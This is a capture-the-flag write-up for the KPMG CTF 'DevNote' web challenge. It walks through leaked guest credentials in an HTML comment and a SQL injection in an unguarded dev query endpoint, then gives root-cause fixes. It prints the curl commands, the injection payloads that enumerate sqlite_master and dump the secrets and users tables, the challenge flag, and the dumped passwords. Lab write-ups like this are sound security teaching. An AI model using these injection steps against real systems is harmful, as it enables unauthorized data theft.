DevNote: SQL Injection via Dev Query Endpoint
On this page
Flag: KPMG_CTF{AXUxtYpBFDZKBL2uyy6TCT7zpTEy-bciVp4IrUloohVu}
Target: http://kicyber-03a6593011c4-devnote-0-0.chals.io Category: Web (Flask/SQLite) / SQL injection + missing authorization Hint (from KPMG CTF): “Are you privileged enough to get the flag”
Overview
DevNote is a tiny Flask app with a login page and a dashboard. The login page leaks guest
credentials in an HTML comment. Once logged in, the dashboard exposes an internal “Dev Query
Interface” at /dashboard?q= that drops the q parameter straight into a SQLite query
(SELECT <q>) with no quoting and no privilege check. Despite the “admin only” framing, a guest
can simply select the secrets table and read the flag.
Recon
1. Login page leaks creds
base="https://kicyber-03a6593011c4-devnote-0-0.chals.io"
curl -s "$base/" | grep -i '<!--'
Output:
<!--guest:guest123 -->
Server is Werkzeug/3.1.8 Python/3.11.15 (Flask dev server).
2. Log in and reach the dashboard
curl -s -i -c dn.txt -b dn.txt -X POST "$base/login" --data "username=guest&password=guest123" | grep -iE 'location|set-cookie'
# Location: /dashboard
# Set-Cookie: session=eyJ1c2VybmFtZSI6Imd1ZXN0In0.... (Flask session = {"username":"guest"})
curl -s -b dn.txt "$base/dashboard"
The dashboard says:
Note: Only admin should have access to sensitive data.
Dev Query Interface (internal use): /dashboard?q=
The injection
q is reflected into a SQL query. Probing shows SQLite and that q sits where a column/expression
is expected:
r(){ curl -s -b dn.txt "$base/dashboard" --data-urlencode "q=$1" -G | grep -A1 'Query Result' | tail -1 | sed 's/<[^>]*>//g'; }
r "test" # no such column: test
r "1" # [{'1': 1}]
r "sqlite_version()" # [{'sqlite_version()': '3.46.1'}]
r "name FROM sqlite_master" # [{'name': 'users'}, {'name': 'secrets'}]
So the backend query is effectively SELECT <q>, with full control over the select list, and I can
append FROM/WHERE. (1;SELECT 1 → “You can only execute one statement at a time”, so it’s a
single-statement execute, which is all that’s needed here.) Tables: users, secrets.
Exploitation (SOLVED)
Read the schema and dump the tables:
r "sql FROM sqlite_master" # table definitions
r "* FROM secrets"
r "* FROM users"
Output:
secrets: [{'id': 1, 'data': 'KPMG_CTF{AXUxtYpBFDZKBL2uyy6TCT7zpTEy-bciVp4IrUloohVu}'}]
users: [{'id':1,'username':'admin','password':'Adm1n_Ultra_S3cr3t!'},
{'id':2,'username':'dev','password':'devpassword123'},
{'id':3,'username':'guest','password':'guest123'}]
schema: CREATE TABLE users (id INTEGER PRIMARY KEY, username TEXT, password TEXT)
CREATE TABLE secrets (id INTEGER PRIMARY KEY, data TEXT)
Flag: KPMG_CTF{AXUxtYpBFDZKBL2uyy6TCT7zpTEy-bciVp4IrUloohVu}
As a bonus the injection also dumped admin’s cleartext password (Adm1n_Ultra_S3cr3t!), but no
privilege escalation is needed: the dev query endpoint has no authorization check, so guest reads
secrets directly.
Why it works
- Raw string interpolation into SQL. The
qvalue is concatenated intoSELECT <q>and run, so any attacker-supplied SQL executes. The error messages (“no such column”, “near X: syntax error”) confirmed the sink and helped map the structure. - Missing authorization. The “Dev Query Interface” is reachable by any authenticated user; the “admin only” note is advisory, not enforced. The hint’s “privileged enough” is a red herring; you never need to be admin.
- Secrets stored in a reachable table. The flag lives in
secrets, in the same database the query endpoint can read.
Root cause & fix
- Never build SQL by string concatenation. Use parameterized queries; here there is no reason to let users supply arbitrary SQL at all.
- Remove/guard debug endpoints. A raw query console must never ship to production, and if it must exist, gate it behind real authorization and a strict allow-list.
- Enforce access control server-side, not with a comment that says “admin only.”
- Don’t store plaintext passwords; hash them.
Takeaways
- Read the HTML source first; creds in comments (
<!--guest:guest123 -->) are a common freebie. - When a param’s value appears as a column name in an error, you’re in a
SELECT <input>sink: enumerate withsqlite_master, thenSELECT * FROM <table>. - “You must be admin” challenges sometimes just need you to read where the data lives; check for a missing authorization check before chasing session/JWT forgery.